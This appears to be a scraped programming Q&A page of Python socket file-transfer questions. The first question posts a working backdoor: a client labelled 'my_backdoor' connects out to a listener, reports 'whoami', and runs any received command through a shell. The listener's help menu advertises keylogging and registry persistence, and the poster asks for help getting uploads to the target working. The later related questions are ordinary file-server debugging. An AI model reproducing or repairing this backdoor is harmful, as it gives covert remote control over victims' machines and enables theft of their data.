I am tryin to develop a script that works on the client machine sending information to the server and uploading&downloading to/from client machine. However, when I try to upload a file, I see in my server machine that the file is sending the file but the client doesn't receive and shows no error. uploading code worked properly before I implemented into my main code. Sorry if there is misunderstanding in my explanation i am new at stackoverflow.
every help is welcome X
import socket
from socket import *
import subprocess
import json
import os
import tqdm
path = 'C:\\Users\HP PC\Desktop'
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Client:
def __init__(self, ip, port):
self.connection = socket(AF_INET, SOCK_STREAM)
self.connection.connect((ip, port))
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode())
def reliable_recv(self):
json_data = " "
while True:
try:
json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1').strip()
return json.loads(json_data)
except ValueError:
continue
def change_working_directory_to(self, path):
os.chdir(path)
return "[+] Changing working directory to " + path
def down(self):
try:
received = self.connection.recv(BUFFER_SIZE).decode()
filename, filesize = received.split(SEPARATOR)
filename = os.path.basename(filename)
filesize = int(filesize)
progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "wb") as f:
while True:
bytes_read = self.connection.recv(BUFFER_SIZE)
if not bytes_read:
break
f.write(bytes_read)
progress.update(len(bytes_read))
except Exception as e:
print(e)
def run(self):
privilege = subprocess.check_output('whoami', shell=True)
self.connection.send(privilege)
while True:
command = self.reliable_recv()
if command[0] == "quit":
self.connection.close()
exit()
elif command[0] == "/help":
continue
elif command[0] == '/cls':
continue
elif command[0] == 'upload':
self.down()
continue
# elif command[:3] == "cd ":
# try:
# os.chdir(path)
# except OSError as e:
# print(e)
else:
command_result = self.execute_system_command(command)
self.reliable_send(command_result.decode("ISO-8859-1").strip())
my_backdoor = Client('192.168.8.105', 6543)
my_backdoor.run()
Here is the server code:
import json
import os
import socket
import tqdm
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Listener:
def __init__(self, bind_ip, bind_port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((bind_ip, bind_port))
server.listen(0)
print("[*] Listening on ", str(bind_ip))
self.connection, addr = server.accept()
print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
receive = self.connection.recv(1024)
print("[+] This is " + receive.decode('ISO-8859-1'))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode().strip())
def reliable_recv(self):
json_data = " "
while True:
try:
json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1')
return json.loads(json_data)
except ValueError:
continue
def upload(self):
filename = "v.png"
filesize = os.path.getsize(filename)
# send the filename and filesize
self.connection.send(f"{filename}{SEPARATOR}{filesize}".encode())
# start sending the file
progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "rb") as f:
while True:
# read the bytes from the file
bytes_read = f.read(BUFFER_SIZE)
if not bytes_read:
# file transmitting is done
break
# we use sendall to assure transimission in
# busy networks
self.connection.sendall(bytes_read)
# update the progress bar
progress.update(len(bytes_read))
def run_command(self):
while True:
command = input(">")
command = command.split(" ")
if command[0] == "quit":
self.connection.close()
exit()
elif command[0] == "/help":
print('''
quit => Quit the sessison
clear => Clear the screen
cd *dirname => Change directory on target machine
upload *filename =>Upload file to target machine
download *filename =>Download file from target machine
key_start =>Start the keylogger
key_dump =>Print the keystrokes target prompted
key_stop =>Stop and self destruct keylogger file
persistance *RegName* *filename =>Persistance in reboot
''')
continue
elif command[:3] == 'cd ':
pass
elif command[0] == 'upload':
self.upload()
continue
elif command[0] == '/cls':
os.system('cls')
continue
self.reliable_send(command)
result = self.reliable_recv()
print(result)
my_listener = Listener('192.168.8.105', 6543)
my_listener.run_command()
it doesnt show any errors and rest of the code is working properly.
Upload and download functions worked properly when I tried to test
but didnt work when i tried to implement into my main code
Related
I have a client that let user to browse a file and upload to a server. Currently I'm just using command terminal to operate the program. When user types in fup in the terminal, the program will ask for filename and the file will be uploaded to the server if the filename input by user is valid.
So, what I want now is letting user to browse any file directory from a GUI without typing the filename to upload. I've tried to implement filedialog but it seems like not working. When I browse and upload a file, the server does not receive any new file. I am stuck with issues almost a week already but still couldn't find any solution. Hope someone could help me. Thanks in advance.
Client.py
import socket, sys, os
from tkinter import filedialog
from tkinter import *
import time, shutil
root = Tk()
# socket creating
def sock():
try:
s = socket.socket()
host = input('Enter Target IP :')
port = 9999
s.connect((host, port))
return (host, s)
except:
print("Error: In binding")
sock()
host, s = sock()
# upload file to client
def fup(conn):
try:
filename = filedialog.askopenfilename(parent=root, initialdir="/", title='Please select a directory')
if os.path.isfile(filename):
conn.send(str("fup~" + filename).encode("utf-8"))
conn.send(str.encode("EXISTS " + str(os.path.getsize(filename))))
filesize = int(os.path.getsize(filename))
userResponse = conn.recv(1024).decode("utf-8")
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(1024)
conn.send(bytesToSend)
totalSend = len(bytesToSend)
while int(totalSend) < int(filesize):
bytesToSend = f.read(1024)
totalSend += len(bytesToSend)
conn.send(bytesToSend)
sys.stdout.write("\r|" + "█" * int((totalSend / float(filesize)) * 50) + "|{0:.2f}".format(
(totalSend / float(filesize)) * 100) + "% ")
sys.stdout.flush()
print("\nUpload Completed!")
else:
print("File Does Not Exist!")
except:
print("Error")
# download file from client
def fdown(conn):
try:
print(os.getcwd())
filename = input("\nMANO >>Filename? -> ")
if filename != 'q':
conn.send(("fdown~" + filename).encode("utf-8"))
data = conn.recv(1024).decode("utf-8")
if data[:6] == 'EXISTS':
filesize = data[6:]
msg = input("File exists, " + str(filesize) + "Bytes, download? (Y/N)? -> ").upper()
if msg == 'Y':
conn.send("OK".encode("utf-8"))
f = open(filename, 'wb')
data = (conn.recv(1024))
totalRecv = len(data)
f.write(data)
while int(totalRecv) < int(filesize):
data = conn.recv(1024)
totalRecv += len(data)
f.write(data)
sys.stdout.write("\r|" + "█" * int((totalRecv / float(filesize)) * 50) + "|{0:.2f}".format(
(totalRecv / float(filesize)) * 100) + "% ")
sys.stdout.flush()
time.sleep(0.01)
print("\nDownload Complete!")
f.close()
else:
print("File Does Not Exist!")
except:
print("Error")
# commands that perform on client
def mano(cip, conn):
fup(conn)
def run():
mano(host, s)
upload_button = Button(root, text="upload", command=run)
upload_button.place(x=130, y=17, width=50, height=22)
root.mainloop()
Server.py
import socket, os, subprocess, shutil, pickle, struct, threading
## gettig the hostname by socket.gethostname() method
hostname = socket.gethostname()
## getting the IP address using socket.gethostbyname() method
ip_address = socket.gethostbyname(hostname)
# Create a Socket ( connect two computers)
def create_socket():
try:
global host
global port
global s
host = ""
port = 9999
s = socket.socket()
except socket.error as msg:
create_socket()
# Binding the socket and listening for connections
def bind_socket():
try:
global host
global port
global s
s.bind((host, port))
s.listen(5)
## printing the hostname and ip_address
print(f"Hostname: {hostname}")
print(f"IP Address: {ip_address}")
print(f"Running Port: {port}")
except socket.error as msg:
bind_socket()
print(bind_socket())
# send file list
def flist(conn):
try:
arr = pickle.dumps(os.listdir())
conn.send(arr)
print(arr)
except:
conn.send(('Error').encode("utf-8"))
# accept file from server
def fdown(filename, conn):
try:
data = conn.recv(1024).decode("utf-8")
if data[:6] == 'EXISTS':
filesize = data[6:]
conn.send("OK".encode("utf-8"))
f = open(filename, 'wb')
data = (conn.recv(1024))
totalRecv = len(data)
f.write(data)
while int(totalRecv) < int(filesize):
data = conn.recv(1024)
totalRecv += len(data)
f.write(data)
f.close()
except:
conn.send(('Error').encode("utf-8"))
# send file
def fup(filename, conn):
if os.path.isfile(filename):
conn.send(str.encode("EXISTS " + str(os.path.getsize(filename))))
filesize = int(os.path.getsize(filename))
userResponse = conn.recv(1024).decode("utf-8")
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(1024)
conn.send(bytesToSend)
totalSend = len(bytesToSend)
while int(totalSend) < int(filesize):
bytesToSend = f.read(1024)
totalSend += len(bytesToSend)
conn.send(bytesToSend)
else:
conn.send("ERROR".encode("utf-8"))
# main
def main(s):
while True:
data = (s.recv(1024)).decode("utf-8").split('~')
if data[0] == 'fdown':
fup(data[1], s)
elif data[0] == 'fup':
fdown(data[1], s)
elif data[0] == 'flist':
flist(s)
else:
s.send(".".encode('utf-8'))
def socket_accept():
while True:
conn, address = s.accept()
t = threading.Thread(target=main, args=(conn,))
t.start()
create_socket()
bind_socket()
socket_accept()
**After I click on upload and it show uploaded compelte, but the server doesn't receive any new file.
Since you have used filedialog.askopenfilename() to get the filename which is a full pathname, like for example C:/Users/heng/PycharmProjects/testtest/New System/test.txt. So the server gets the same full pathname and try to create the output file. But it will fail if C:/Users/heng/PycharmProjects/testtest/New System/ does not exists in server side.
To fix the issue, either sending the filename part (without the directory information) in client side:
def fup(conn):
try:
filename = filedialog.askopenfilename(parent=root, initialdir="/", title='Please select a directory')
if os.path.isfile(filename):
_, basename = os.path.split(filename)
conn.send(str("fup~" + basename).encode("utf-8")) # use basename instead of filename
...
or remove the directory information in server side:
def fdown(fullname, conn): # renamed filename to fullname
_, filename = os.path.split(fullname) # get the filename part only
try:
...
So for some reason this code is not properly working for sending a zip folder from the client to server. on the server side if I use "f = zipfile.ZipFile("platformIO.zip")" I get the error "ValueError: stat: embedded null character in path", and if I use "f = open("platformIO.zip", "wb")" no error is thrown but the received file is corrupt and won't open.
I have read every similar to question to this and cannot find a solution.
Client:
import socket
import time
# Configure wireless connection with server (board on leg)
HOST = "192.168.4.1" # change to server ip address
PORT = 5005 # must be same as server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print("connected")
user_input = "startup"
while True:
if user_input == "startup":
# ask if user wants to send code
user_input = input("Do you want to send new code?: (y/n)")
if user_input == "y":
user_input = "send code"
elif user_input == "n":
user_input = input("Would you like to collect data?: (y/n)")
if user_input == "y":
user_input = "receive data"
else:
user_input = "startup"
else:
user_input == "startup"
elif user_input == "send code":
st = "sending code"
s.send(st.encode())
file = "platformIO.zip"
try:
with open(file, "rb") as f:
print("sending file...")
data = f.read()
s.sendall(data)
print("finished sending")
st = "finished"
s.send(st.encode())
user_input = "startup"
except:
print("Failed transfering <platformIO.zip>, make sure it exists")
st = "failed"
s.send(st.encode())
elif input =="receive data":
print("feature not yet implemented")
user_input == "startup"
# delay
time.sleep(0.1)
Server:
import socket
import time
import zipfile
import os
# create server
HOST = "192.168.4.1"
PORT = 5005
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("socket created")
# managing error exception
try:
s.bind((HOST,PORT))
except socket.error:
print("bind Failed")
s.listen(1)
print("Socket awaiting mesesages")
(conn, addr) = s.accept()
print("connected")
# awaiting message
msg = "startup"
while True:
if msg == "startup":
# receive data from controller
msg = conn.recv(4096)
print(str(msg, 'utf-8'))
elif str(msg, 'utf-8') == "sending code":
f = zipfile.ZipFile("platformIO.zip", "w")
#f = open("platformIO.zip", "wb")
while True:
data = conn.recv(4096)
print(data)
if not data:
break
f.write(data)
print("file received")
msg = "startup"
time.sleep(.1)
conn.close()
edit: if I use f = open("platformIO.zip", "wb") and add s.close() inside the writing while loop of the server, I can receive the zip successfully, but then the connection closes and I can't open the zip file until I close the program
f = open("platformIO.zip", "wb")
while True:
data = conn.recv(4096)
print(data)
if not data:
break
f.write(data)
s.close()
I have made a file server on python using sockets and threads. The program is supposed to allow the client to upload and download files from the server.
The program works perfectly when only one thread is running, but when both threads are running the server gives an error when trying to upload a file, and when trying to download the program just stops doing anything after the client enters 'Y' to initiate the download.
Here is the code for the client:
import socket
import os
def DownloadFile(s, host, port):
s.connect((host, port))
s.send(str.encode('DNLD'))
filename = input('Filename? ->')
if filename != 'q':
s.send(str.encode(filename))
data = s.recv(2048).decode('UTF-8')
if data[:6] == 'EXISTS':
filesize = data[6:]
message = input('File Exists, ' + str(filesize) + ' Bytes. Download? (Y/N) ->')
if message == 'Y' or message == 'y':
s.send(str.encode('OK'))
f = open('copy of '+filename, 'wb')
data = s.recv(2048)
totalRecv = len(data)
f.write(data)
while totalRecv < int(filesize):
data = s.recv(2048)
totalRecv += len(data)
f.write(data)
print('{}'.format(round((totalRecv/float(filesize))*100),2)+'% Complete')
print('Download Complete!')
s.close()
else:
print('File does not exist')
s.close()
Main()
def UploadFile(s, host, port):
s.connect((host, port))
s.send(str.encode('UPLD'))
filename = input('Filename? ->')
if os.path.isfile(filename):
filesize = os.path.getsize(filename)
filesize = str(filesize)
s.send(str.encode('EXISTS ' + filename))
s.send(str.encode(filesize))
ready = input('Ready to upload. Proceed? (Y/N) ->')
if ready == 'Y' or ready == 'y':
s.send(str.encode('OK'))
with open(filename, 'rb') as f:
bytesToSend = f.read(2048)
s.send(bytesToSend)
while bytesToSend != '':
bytesToSend = f.read(2048)
s.send(bytesToSend)
s.close()
else:
print('File does not exist.')
s.close()
Main()
def Main():
host = '127.0.0.1'
port = 10000
s = socket.socket()
while True:
choice = int(input('Please enter your choice:\n\n1. Upload a file to the server.\n2. Download a file from the server\n3. Quit.\n\n->'))
if choice == 1:
UploadFile(s, host, port)
break
elif choice == 2:
DownloadFile(s, host, port)
break
elif choice == 3:
s.close()
break
else:
print('Please enter a valid choice.')
if __name__ == '__main__':
Main()
And here is the code for the server:
import socket
import threading
import os
def SendFile(name, s):
check = s.recv(2048).decode('UTF-8')
if check == 'DNLD':
filename = s.recv(2048)
if os.path.isfile(filename):
send = os.path.getsize(filename)
send = str(send)
s.send(str.encode('EXISTS ' + send))
userResponse = s.recv(2048)
userResponse = userResponse.decode('UTF-8')
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(2048)
s.send(bytesToSend)
while bytesToSend != '':
bytesToSend = f.read(2048)
s.send(bytesToSend)
else:
s.send(str.encode('ERR'))
s.close()
def ReceiveFile(name, s):
check = s.recv(2048).decode('UTF-8')
if check == 'UPLD':
data = s.recv(2048).decode('UTF-8')
if data[:6] == 'EXISTS':
filename = data[6:]
data = s.recv(2048).decode('UTF-8')
filesize = data
userResponse = s.recv(2048)
userResponse = userResponse.decode('UTF-8')
if userResponse[:2] == 'OK':
f = open('copy of '+filename, 'wb')
data = s.recv(2048)
totalRecv = len(data)
f.write(data)
while totalRecv < int(filesize):
data = s.recv(2048)
totalRecv += len(data)
f.write(data)
print('Download Complete!')
def Main():
host = '127.0.0.1'
port = 10000
s = socket.socket()
s.bind((host, port))
s.listen(5)
print('Server Started')
while True:
c, addr = s.accept()
print('Client Connected: ' + str(addr))
Send = threading.Thread(target=SendFile, args=('sendThread', c))
Send.start()
Receive = threading.Thread(target=ReceiveFile, args=('retrThread', c))
Receive.start()
s.close()
if __name__ == '__main__':
Main()
If I were to comment out Send.start() or Receive.start() then whatever thread isn't commented out would work perfectly.
Here is the error given in the server when trying to upload a file with both threads running:
Exception in thread Thread-2:
Traceback (most recent call last):
File "C:\Python34\lib\threading.py", line 920, in _bootstrap_inner
self.run()
File "C:\Python34\lib\threading.py", line 868, in run
self._target(*self._args, **self._kwargs)
File "(file location)", line 28, in ReceiveFile
check = s.recv(2048).decode('UTF-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
And here is the output in the client when trying to download a file when both threads are running:
Please enter your choice:
1. Upload a file to the server.
2. Download a file from the server
3. Quit.
->2
Filename? ->cat.jpg
File Exists, 10634 Bytes. Download? (Y/N) ->Y
Nothing else happens after entering Y.
If anyone knows what is going wrong I would really appreciate some help.
That's not the way io and threads work. You have here 2 threads competing from the same input data. One will get first packet be it for it or not, and it is likely that one of the following packet will be eaten by the other thread => the first one will never see it!
You can delegate the processing of a conversation to a thread but to a single one that will call a send or receive function once it will have identified the request.
That is not all. TCP is a stream protocol. Packets can be splitted or re-assembled by any piece along the connection (sender, receiver and any gateway). So you should use delimiters to tell the peer that a name or a command if complete. And good practices recommend to pass the size when sending binary data, here again for the peer to know when the data is complete.
Good luck in your journey is the socket world ;-)
Hello I got a problem with a type error I cant get rid off.
I have build a server named processA.py and a client processB.py
I start the server calling processA and it starts up
I start the client calling processB and it starts up
Now I input the name of the file I want to send over a socket.
The image must be in the same folder as the programms.
You can use the sample code from below for reproducing the error.
I choose: lena.jpg
I get an error in line 15, in of my processA.py:
sock.send("EXISTS" + str(os.path.getsize(filenameByte))) TypeError: a
bytes-like object is required, not 'str'
processA.py
'''
Created on 29 Nov 2017
#author: Poor Student
'''
import numpy
import socket
import threading
import os
def RtrFile(name, sock):
filenameByte = sock.recv(1024)
filenameStr = filenameByte.decode('ascii')
if os.path.isfile(filenameStr):
sock.send("EXISTS" + str(os.path.getsize(filenameByte)))
userResponse = sock.recv(1024)
if userResponse[:2] == 'OK':
with open(filenameByte, 'rb') as f:
bytesToSend = f.read(1024)
sock.send(bytesToSend)
while bytesToSend != "":
bytesToSend = f.read(1024)
sock.send(bytesToSend)
else:
sock.send("ERR")
sock.close()
def Main():
host = "127.0.0.1"
port = 5000
s = socket.socket()
s.bind((host,port))
s.listen(5)
print("server started.")
while True:
c, addr =s.accept()
print("client connected ip:< " + str(addr) +">")
t = threading.Thread(target = RtrFile, args=("rtrThread",c))
t.start()
s.close()
if __name__ == "__main__":
Main()
processB.py
'''
Created on 29 Nov 2017
#author: Poor Student
'''
import socket
def Main():
host = "127.0.0.1"
port = 5000
s = socket.socket()
s.connect((host,port))
filename = input("Filename? -> ")
if filename != "q":
s.send(filename.encode())
data = s.recv(1024)
if data[:6] == "EXISTS":
filesize = int(data[6:])
message = input("File Exists, " +str(filesize) + "Bytes, download? (Y/N)? ->")
if message == "Y" or message =="y":
s.send("OK")
f = open("new_" + filename, "wb")
data = s.recv(1024)
totalRecv = len(data)
f.write(data)
while totalRecv < filesize:
data = s.recv(1024)
totalRecv += len(data)
f.write(data)
print("(0:.f)".format((totalRecv)/float(filesize))*100 +"done")
print("Download Complete")
else:
print("File does not exists")#
s.close()
if __name__ == "__main__":
Main()
I found an answer. In python 3 you have allways convert your Strings to byte strings when sending them. After sending them to the receiver you have to decode them again and this must be done for the hole communication which is why the error allways shows up in the same module.
Process A:
'''
Created on 29 Nov 2017
#author: Happy student
'''
import numpy
import socket
import threading
import os
from idlelib.IOBinding import encoding
def RtrFile(name, sock):
filenameByte = sock.recv(1024)
filenameStr = filenameByte.decode('ascii')
print("FilenameStr",filenameStr)
if os.path.isfile(filenameStr):
print("Type:",type(filenameByte))
print(os.path.getsize(filenameByte))#
sendStr = "EXISTS" + str(os.path.getsize(filenameByte))
#Convert the string to byte because otherwise it will not be send
sock.send((sendStr.encode(encoding)))
userResponse = sock.recv(1024)
#the Responce will be received in byte and will be converted to a string to make it checkable
userResponceStr = userResponse.decode('ascii')
if userResponceStr[:2] == 'OK':
with open(filenameByte, 'rb') as f:
bytesToSend = f.read(1024)
sock.send(bytesToSend)
while bytesToSend != "":
bytesToSend = f.read(1024)
sock.send(bytesToSend)
else:
print("User response not known")
else:
sendStr = "ERR"
sock.send(sendStr.encode(encoding))
sock.close()
def Main():
host = "127.0.0.1"
port = 5000
s = socket.socket()
s.bind((host,port))
s.listen(5)
print("server started.")
while True:
c, addr =s.accept()
print("client connected ip:< " + str(addr) +">")
t = threading.Thread(target = RtrFile, args=("rtrThread",c))
t.start()
s.close()
if __name__ == "__main__":
Main()
processB.py
'''
Created on 29 Nov 2017
#author: Happy student
'''
import socket
from idlelib.IOBinding import encoding
def Main():
host = "127.0.0.1"
port = 5000
s = socket.socket()
s.connect((host,port))
filename = input("Filename? -> ")
if filename != "q":
s.send(filename.encode())
data = s.recv(1024)
dataStr = data.decode('ascii')
if dataStr[:6] == "EXISTS":
filesize = int(dataStr[6:])
message = input("File Exists, " +str(filesize) + "Bytes, download? (Y/N)? ->")
if message == "Y" or message =="y":
sendStr = "OK"
s.send(sendStr.encode(encoding))
#create new file new_filename and
f = open("new_" + filename, "wb")
data = s.recv(1024)
totalRecv = len(data)
f.write(data)
while totalRecv < filesize:
data = s.recv(1024)
totalRecv += len(data)
f.write(data)
print("Download Complete")
else:
print(message +"was not noticed")
exit()
else:
print("File does not exists")#
s.close()
if __name__ == "__main__":
Main()
I followed a tutorial to make this, and I'm trying to add an ls command so you can see the files to download. The code works, and all the prints return the right things, but the client only shows six letters of one of the files.
Server:
import socket
import threading
import os
def RetrFile(name, sock):
filename = sock.recv(1024)
if filename != "ls":
if os.path.isfile(filename):
sock.send("EXISTS " + str(os.path.getsize(filename)))
userResponse = sock.recv(1024)
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(1024)
sock.send(bytesToSend)
while bytesToSend != "":
bytesToSend = f.read(1024)
sock.send(bytesToSend)
else:
sock.send("ERR ")
sock.close()
else:
dir_path = os.path.dirname(os.path.realpath(__file__))
retval = os.listdir(dir_path)
print retval
for ret in retval:
print ret
sock.send(ret)
def Main():
host = '192.168.0.125'
port = 5000
s = socket.socket()
s.bind((host,port))
s.listen(5)
print "Server Started."
while True:
c, addr = s.accept()
print "client connedted ip:<" + str(addr) + ">"
t = threading.Thread(target=RetrFile, args=("RetrThread", c))
t.start()
s.close()
if __name__ == '__main__':
Main()
Directory with the Python file (files to download): directory
Server Output: "client connedted ip:<('192.168.0.112', 49546)>
['runmeee.exe', 'Untitled.png', 'putty.exe', 'pyserver.py']
runmeee.exe
Untitled.png
putty.exe
pyserver.py"
Client output: runmee